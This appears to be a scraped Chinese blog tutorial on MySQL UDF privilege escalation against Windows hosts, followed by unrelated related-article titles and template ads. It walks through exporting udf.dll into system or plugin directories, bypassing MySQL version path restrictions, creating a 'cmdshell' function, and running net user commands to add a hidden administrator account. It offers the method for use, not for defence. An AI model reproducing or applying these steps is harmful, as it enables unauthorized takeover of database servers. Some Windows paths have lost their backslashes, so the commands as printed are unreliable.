一、适用条件

1.目标系统是Windows(Win2000,XP,Win2003);

2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

3.有root账号密码

二、导出udf

MYSQL 5.1以下版本导出路径:

C:Winntudf.dll 2000

C:Windowsudf.dll 2003(有的系统被转义,需要改为C:Windowsudf.dll)

导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)

MYSQL

5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数

可以再mysql里输入

select @@basedir

show variables like

‘%plugins%’ 寻找mysql安装路径

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

三、提权

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns

string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’

select cmdshell(‘net user arsch arsch /add’);

select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

总结:

mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

但是对于UDF的具体限制,MYSQL的各个版本各有不同。 下面记录一下:

在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。

无论这个DLL在什么位置,函数的声明是什么样的。

在MYSQL

4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,

这样就防止了通过MYSQL非法调用系统的DLL。

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。

所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。

后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

再说MYSQL5.1,这里有个问题相信大家会经常遇到的。。

大家有的时候在创建函数的时候,常常会遇到:

数据库查讯出错,请检查SQL语句create function cmdshell returns string soname

‘udf.dll’的语法是否正确。Function ‘cmdshell’already exists

官方描述如下:

Description:

Under some circumstances, case handling of UDF names leads to

strange behaviour.

This can result in a situation where the function can be

successfully dropped

without actually removing the corresponding entry from the

mysql.func table.

…………这是因为MYSQL 5.1及以后的版本中,又多了一个限制。

创建函数时所用的DLL只能放在mysql的plugin目录里面。。

而且这个plugin目录默认是不存在的。。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。。

MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。

所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。

如果是5.1以后的源码天空,那就不行了,如果是5.1以前的版本创建函数的时候还报Can’t open shared

library这个错误。

那就要看看DLL是不是真的被导出了,还是被杀软隔离或者干掉了。

mysql 5.5 udf_MYSQL5漏洞之udf提权相关推荐

  1. mysql 5 可执行漏洞_漏洞预警:MySQL 0-day代码执行漏洞 可本地提权

    来自波兰的安全研究人员Dawid Golunski刚刚发现了两个MySQL的0-day漏洞,影响到所有版本分支.默认配置的MySQL服务器(5.7.5.6和5.5),包括最新版本.攻击者可以远程和本地 ...

  2. MySQL UDF提权执行系统命令

    目录 UDF UDF提权步骤 使用MSF进行UDF提权 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的 ...

  3. mysql udf提权_MySQL日志安全分析技巧

    常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...

  4. Windows与Linux的MYSQL UDF提权分析

    原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...

  5. Mysql udf提权靶场-vulnhub Raven2

    文章目录 前言 一.udf提权介绍 udf介绍 如何使用udf进行提权 二.信息收集 主机探测 nmap扫描 /etc/hosts配置 dirb扫描后台 /vendor 三.getshell 利用CV ...

  6. 2021-06-03web渗透学习之mof提权(MySQL 漏洞利用与提权)(转自国大佬)

    自从接触安全以来就 MySQL 的 UDF 提权.MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友. ...

  7. php backdoor creator encoder,Raven2 渗透(phpmailer漏洞+UDF提权)

    本帖最后由 Ybwh 于 2020-7-19 01:05 编辑 本文原创作者Ybwh,本文属i春秋原创奖励计划,未经许可禁止转载! 开机后扫描网段拿到ip地址 clipboard2.png (73.9 ...

  8. mysql udf提权_mysql——udf提权

    01 前言 udf = 'user defined function',即'用户自定义函数'.文件后缀为'.dll',常用c语言编写. 通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执 ...

  9. mysql udf提权hex_Mysql_UDF提权

    Mysql_UDF提权 作者:admin 发布于:2013-5-25 18:55 Saturday 分类:MYSQL Root权限 一.上传udf.dll 小于mysql5.1版本 C:\\WINDO ...

最新文章

  1. 342.基于高通量技术的微生物组研究实验设计
  2. spark 朴素贝叶斯
  3. Spring boot处理附件的一个坑
  4. 软件获取手机的ime权限_【手机谷歌软件下载】【安卓+iOS】老湿机最爱~免翻,获取各种“特殊”资源!...
  5. c语言程序设计例题椭圆,2016年西安邮电大学理学院高级语言程序设计之C语言程序设计复试笔试仿真模拟题...
  6. RSA 公钥加密——私钥解密
  7. 一个IT青年北漂四年的感悟
  8. Profiles在Spring Boot中的使用--环境切换
  9. 算法知识点——(2)模型评估
  10. 手把手教你如何创造睡后收入
  11. 微信小程序跳转另一个微信小程序携带参数并接收参数
  12. 突破封闭 Web 系统的技巧之正面冲锋
  13. AttributeError: 'NoneType' object has no attribute 'sc' 解决方法!
  14. 设置TinyMCE在线HTML编辑控件只读
  15. C语言中的 while 循环
  16. 在Arduino 完成STM32板子的串口通信程序
  17. JavaWeb网上商城
  18. echarts折线图渐变
  19. 【点云处理】基于欧式聚类的点云分割
  20. 高效能管理之要事第一 时间管理表格4

热门文章

  1. html+css+js实现登录页面
  2. 无线鼠标可以强制配对_酷冷至尊MM831三模游戏鼠标评测
  3. 客服跟踪记录管理php,用例管理平台维护记录,用例管理平台维护_PHP教程
  4. 锤子t1重置后怎么显示无服务器,解决锤子手机smartisanT1关机后无法正常开机(附带刷机教程图文)...
  5. java annotations详解_Java Annotations详解
  6. 大数据分块_空间数据库基础理论 GIS空间数据处理分析涉及的基本概念
  7. 这组三八妇女节海报素材psd模板,你给打几分?
  8. 字体海报设计灵感|这海报的字体够别致,脑洞够大!
  9. 设计灵感|耐人寻味的中文字体海报
  10. C4D双十一促销海报模板,参考一下!